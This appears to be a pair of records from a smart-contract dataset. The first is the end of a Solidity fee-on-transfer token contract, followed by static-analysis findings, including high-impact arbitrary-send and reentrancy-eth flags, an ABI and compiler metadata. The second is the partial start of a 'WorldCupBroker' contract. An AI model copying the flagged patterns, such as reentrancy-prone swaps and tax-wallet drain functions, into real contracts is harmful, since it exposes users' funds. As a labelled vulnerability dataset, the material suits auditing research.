if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
[]
[{"check": "arbitrary-send", "impact": "High", "confidence": "Medium", "lines": {"Mimikyu.sol": [259]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Mimikyu.sol": [76]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mimikyu.sol": [178, 179, 180]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mimikyu.sol": [170, 171, 172]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mimikyu.sol": [96, 97, 94, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mimikyu.sol": [168, 166, 167]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mimikyu.sol": [186, 187, 188, 189]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mimikyu.sol": [200, 201, 202, 203, 204]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mimikyu.sol": [195, 196, 197, 198]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mimikyu.sol": [176, 174, 175]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mimikyu.sol": [192, 193, 191]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Mimikyu.sol": [85, 86, 87]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Mimikyu.sol": [85, 86, 87]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Mimikyu.sol": [142]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Mimikyu.sol": [139]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Mimikyu.sol": [144]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Mimikyu.sol": [143]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Mimikyu.sol": [114]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Mimikyu.sol": [134]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Mimikyu.sol": [138]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Mimikyu.sol": [216]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Mimikyu.sol": [269]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Mimikyu.sol": [298]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"Mimikyu.sol": [297]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"Mimikyu.sol": [271]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"Mimikyu.sol": [202]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"Mimikyu.sol": [237]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"Mimikyu.sol": [202]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"Mimikyu.sol": [237]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Mimikyu.sol": [282]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Mimikyu.sol": [317]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Mimikyu.sol": [326]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Mimikyu.sol": [317]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Mimikyu.sol": [326]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Mimikyu.sol": [282]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Mimikyu.sol": [326]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Mimikyu.sol": [317]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Mimikyu.sol": [282]}}, {"check": "tautology", "impact": "Medium", "confidence": "High", "lines": {"Mimikyu.sol": [224]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Mimikyu.sol": [272]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Mimikyu.sol": [268]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Mimikyu.sol": [125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Mimikyu.sol": [125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Mimikyu.sol": [125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 96, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 195, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 4, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 75, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 76, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 127, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 128, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 129, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 130, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 132, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 133, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 134, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 135, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 136, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 138, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 139, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 140, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 142, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 143, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 144, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 146, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 147, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 148, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 149, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 150, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 126, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 122, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 79, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 106, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 157, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 109, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 110, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 111, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 301, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
v0.8.7+commit.e28d00a7
false
200
Default
MIT
false
ipfs://8bc84eac438a8eab1da17cfbb8aff62c770f62fe67396dbd9b802314ec795b6b
WorldCupBroker
0x1367fc0b62c024de2be4ec22355d6614090ebc41
Solidity
pragma solidity ^0.4.18; // File: contracts/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/strings.sol /* * @title String & slice utility library for Solidity contracts. * @author Nick Johnson <[email protected]> * * @dev Functionality in this library is largely implemented using an * abstraction called a 'slice'. A slice represents a part of a string - * anything from the entire string to a single character, or even no * characters at all (a 0-length slice). Since a slice only has to specify * an offset and a length, copying and manipulating slices is a lot less * expensive than copying and manipulating the strings they reference. * * To further reduce gas costs, most functions on slice that need to return * a slice modify the original one instead of allocating a new one; for * instance, `s.split(".")` will return the text up to the first '.', * modifying s to only contain the remainder of the string after the '.'. * In situations where you do not want to modify the original slice, you * can make a copy first with `.copy()`, for example: * `s.copy().split(".")`. Try and avoid using this idiom in loops; since * Solidity has no memory management, it will result in allocating many * short-lived slices that are later discarded. * * Functions that return two slices come in two versions: a non-allocating * version that takes the second slice as an argument, modifying it in * place, and an allocating version that allocates and returns the second * slice; see `nextRune` for example. * * Functions that have to copy string data will return strings rather than * slices; these can be cast back to slices for further processing if * required. * * For convenience, some functions are provided with non-modifying * variants that create a new slice and return both; for instance, * `s.splitNew('.')` leaves s unmodified, and returns two values * corresponding to the left and right parts of the string. */ pragma solidity ^0.4.14; library strings { struct slice { uint _len; uint _ptr; } function memcpy(uint dest, uint src, uint len) private pure { // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Returns a slice containing the entire string. * @param self The string to make a slice from. * @return A newly allocated slice containing the entire string. */ function toSlice(string self) internal pure returns (slice) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } /* * @dev Returns the length of a null-terminated bytes32 string. * @param self The value to find the length of. * @return The length of the string, from 0 to 32. */ function len(bytes32 self) internal pure returns (uint) { uint ret; if (self == 0) return 0; if (self & 0xffffffffffffffffffffffffffffffff == 0) { ret += 16; self = bytes32(uint(self) / 0x100000000000000000000000000000000); } if (self & 0xffffffffffffffff == 0) { ret += 8; self = bytes32(uint(self) / 0x10000000000000000); } if (self & 0xffffffff == 0) { ret += 4; self = bytes32(uint(self) / 0x100000000); } if (self & 0xffff == 0) { ret += 2; self = bytes32(uint(self) / 0x10000); } if (self & 0xff == 0) { ret += 1; } return 32 - ret; } /* * @dev Returns a slice containing the entire bytes32, interpreted as a * null-terminated utf-8 string. * @param self The bytes32 value to convert to a slice. * @return A new slice containing the value of the input argument up to the * first null. */ function toSliceB32(bytes32 self) internal pure returns (slice ret) { // Allocate space for `self` in memory, copy it there, and point ret at it assembly { let ptr := mload(0x40) mstore(0x40, add(ptr, 0x20)) mstore(ptr, self) mstore(add(ret, 0x20), ptr) } ret._len = len(self); } /* * @dev Returns a new slice containing the same data as the current slice. * @param self The slice to copy. * @return A new slice containing the same data as `self`. */ function copy(slice self) internal pure returns (slice) { return slice(self._len, self._ptr); } /* * @dev Copies a slice to a new string. * @param self The slice to copy. * @return A newly allocated string containing the slice's text. */ function toString(slice self) internal pure returns (string) { string memory ret = new string(self._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); return ret; } /* * @dev Returns the length in runes of the slice. Note that this operation * takes time proportional to the length of the slice; avoid using it * in loops, and call `slice.empty()` if you only need to know whether * the slice is empty or not. * @param self The slice to operate on. * @return The length of the slice in runes. */ function len(slice self) internal pure returns (uint l) { // Starting at ptr-31 means the LSB will be the byte we care about uint ptr = self._ptr - 31; uint end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } } /* * @dev Returns true if the slice is empty (has a length of 0). * @param self The slice to operate on. * @return True if the slice is empty, False otherwise. */ function empty(slice self) internal pure returns (bool) { return self._len == 0; } /* * @dev Returns a positive number if `other` comes lexicographically after * `self`, a negative number if it comes before, or zero if the * contents of the two slices are equal. Comparison is done per-rune, * on unicode codepoints. * @param self The first slice to compare. * @param other The second slice to compare. * @return The result of the comparison. */ function compare(slice self, slice other) internal pure returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; uint selfptr = self._ptr; uint otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { uint a; uint b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant bytes and check again uint256 mask = uint256(-1); // 0xffff... if(shortest < 32) { mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); } uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Returns true if the two slices contain the same text. * @param self The first slice to compare. * @param self The second slice to compare. * @return True if the slices are equal, false otherwise. */ function equals(slice self, slice other) internal pure returns (bool) { return compare(self, other) == 0; } /* * @dev Extracts the first rune in the slice into `rune`, advancing the * slice to point to the next rune and returning `self`. * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ function nextRune(slice self, slice rune) internal pure returns (slice) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint l; uint b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { l = 1; } else if(b < 0xE0) { l = 2; } else if(b < 0xF0) { l = 3; } else { l = 4; } // Check for truncated codepoints if (l > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += l; self._len -= l; rune._len = l; return rune; } /* * @dev Returns the first rune in the slice, advancing the slice to point * to the next rune. * @param self The slice to operate on. * @return A slice containing only the first rune from `self`. */ function nextRune(slice self) internal pure returns (slice ret) { nextRune(self, ret); } /* * @dev Returns the number of the first codepoint in the slice. * @param self The slice to operate on. * @return The number of the first codepoint in the slice. */ function ord(slice self) internal pure returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint length; uint divisor = 2 ** 248; // Load the rune into the MSBs of b assembly { word:= mload(mload(add(self, 32))) } uint b = word / divisor; if (b < 0x80) { ret = b; length = 1; } else if(b < 0xE0) { ret = b & 0x1F; length = 2; } else if(b < 0xF0) { ret = b & 0x0F; length = 3; } else { ret = b & 0x07; length = 4; } // Check for truncated codepoints if (length > self._len) { return 0; } for (uint i = 1; i < length; i++) { divisor = divisor / 256; b = (word / divisor) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } /* * @dev Returns the keccak-256 hash of the slice. * @param self The slice to hash. * @return The hash of the slice. */ function keccak(slice self) internal pure returns (bytes32 ret) { assembly { ret := keccak256(mload(add(self, 32)), mload(self)) } } /* * @dev Returns true if `self` starts with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function startsWith(slice self, slice needle) internal pure returns (bool) { if (self._len < needle._len) { return false; } if (self._ptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function beyond(slice self, slice needle) internal pure returns (slice) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, length), sha3(needleptr, length)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } /* * @dev Returns true if the slice ends with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function endsWith(slice self, slice needle) internal pure returns (bool) { if (self._len < needle._len) { return false; } uint selfptr = self._ptr + self._len - needle._len; if (selfptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } /* * @dev If `self` ends with `needle`, `needle` is removed from the * end of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function until(slice self, slice needle) internal pure returns (slice) { if (self._len < needle._len) { return self; } uint selfptr = self._ptr + self._len - needle._len; bool equal = true; if (selfptr != needle._ptr) { assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } } if (equal) { self._len -= needle._len; } return self; } event log_bytemask(bytes32 mask); // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } // Returns the memory address of the first byte after the last occurrence of // `needle` in `self`, or the address of `self` if not found. function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } ptr = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr <= selfptr) return selfptr; ptr--; assembly { ptrdata := and(mload(ptr), mask) } } return ptr + needlelen; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr + (selflen - 